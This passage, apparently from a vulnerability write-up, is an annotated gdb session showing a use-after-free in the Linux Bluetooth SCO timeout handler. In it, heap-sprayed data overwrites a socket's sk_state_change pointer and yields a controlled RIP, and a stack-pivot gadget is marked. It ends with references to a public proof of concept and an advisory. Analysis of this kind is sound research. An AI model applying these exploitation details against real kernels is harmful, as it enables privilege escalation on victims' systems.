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(gdb) file vmlinxsef680 
Reading symbols from vmlinxsef680...
(gdb) target remote :1234
Remote debugging using :1234

Thread 4 (kworker/0:1):                                 
#0  0xdeadbeefcafebabe in ?? ()    ← RIP = spray payload
#1  0xffffffff81019fc0 in xchg_eax_esp_ret ()  ← stack pivot gadget
#2  0xffffffff840e0134 in sco_sock_timeout+0x134 ()  ← sk->sk_state_change(sk) call site

(gdb) info registers
rax    0xdeadbeefcafebabe   ← spray'den okunan sk_state_change değeri
rbx    0xffff88810ab8f000   ← freed+sprayed sock adresi (sk)
rcx    0xffffffff812ec563
rdx    0x1ffff11021571e94
rsi    0x00000000fffffe00
rdi    0xffff88810ab8f000   ← sk (1. argüman = sock pointer)
rsp    0xffff8881002cfcb8   ← kernel stack (pivot öncesi)
rip    0xdeadbeefcafebabe   ← KONTROLLÜ RIP!

(gdb) x/8gx $rdi
0xffff88810ab8f000: 0xdeadbeefcafebabe 0xdeadbeefcafebabe  ← spray verisi
0xffff88810ab8f010: 0xdeadbeefcafebabe 0xdeadbeefcafebabe
0xffff88810ab8f020: 0xdeadbeefcafebabe 0xdeadbeefcafebabe

(gdb) x/gx $rdi+0x2a0
0xffff88810ab8f2a0: 0xdeadbeefcafebabe  ← sk_state_change = spray payload

(gdb) bt
#0  0xdeadbeefcafebabe in ?? ()
#1  __x86_indirect_thunk_array+0xa () at retpoline
#2  sco_sock_timeout+0x134 () at net/bluetooth/sco.c:98
#3  process_one_work+0x7cb () at kernel/workqueue.c
#4  worker_thread+0x867 () at kernel/workqueue.c
#5  kthread+0x2bf () at kernel/kthread.c



References
https://github.com/qiutianshu/sco-race-condition
https://www.openwall.com/lists/oss-security/2024/11/29/1